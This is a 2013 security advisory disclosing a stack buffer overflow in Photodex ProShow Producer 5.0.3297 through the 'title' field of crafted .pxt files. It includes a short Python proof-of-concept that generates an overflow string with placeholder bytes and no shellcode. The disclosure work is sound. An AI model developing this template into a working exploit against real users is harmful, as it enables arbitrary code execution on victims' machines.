Photodex ProShow Producer 5.0.3297 Buffer Overflow

`Inshell Security Advisory  
http://www.inshell.net  
  
  
1. ADVISORY INFORMATION  
-----------------------  
Product: Photodex ProShow Producer  
Vendor URL: www.photodex.com  
Type: Stack-based Buffer Overflow [CWE-121]  
Date found: 2013-02-16  
Date published: 2013-02-16  
CVSSv2 Score: 6,8 (AV:N/AC:M/Au:N/C:P/I:P/A:P)  
CVE: -  
  
  
2. CREDITS  
----------  
This vulnerability was discovered and researched by Julien Ahrens from  
Inshell Security.  
  
  
3. VERSIONS AFFECTED  
--------------------  
Photodex ProShow Producer v5.0.3297, older versions may be affected too.  
  
  
4. VULNERABILITY DESCRIPTION  
----------------------------  
A buffer overflow vulnerability has been identified in Photodex ProShow  
Producer v5.0.3297.  
  
When opening a crafted transition file (.pxt) the application loads the  
"title" value from the pxt file.  
  
The application does not properly validate the length of the string  
loaded from the "title" value from the pxt file before using it in the  
further application context, which leads to a buffer overflow condition  
with possible code execution via overwritten SEH chains on Windows XP/7  
32bit.  
  
An attacker needs to force the victim to open a crafted .pxt file in  
order to exploit the vulnerability. Successful exploits can allow  
attackers to execute arbitrary code with the privileges of the user  
running the application. Failed exploits will result in  
denial-of-service conditions.  
  
  
5. PROOF-OF-CONCEPT (Code / Exploit)  
------------------------------------  
The following generated string has to be inserted into a .pxt file to  
trigger the vulnerability.  
  
#!/usr/bin/python  
file="poc.txt"  
  
junk1="\x41" * 24  
eip="\x42" * 4  
junk2="\xCC" * 50000  
  
poc=junk1 + eip + junk2  
  
try:  
print ("[*] Creating exploit file...\n");  
writeFile = open (file, "w")  
writeFile.write( poc )  
writeFile.close()  
print ("[*] File successfully created!");  
except:  
print ("[!] Error while creating file!");  
  
  
For further Screenshots and/or PoCs visit:  
http://security.inshell.net/advisory/47  
  
  
6. SOLUTION  
-----------  
None  
  
  
7. REPORT TIMELINE  
------------------  
2013-02-16: Discovery of the vulnerability  
2013-02-16: Full Disclosure because the vendor ignored previous  
reports.  
  
  
8. REFERENCES  
-------------  
http://security.inshell.net/advisory/47  
`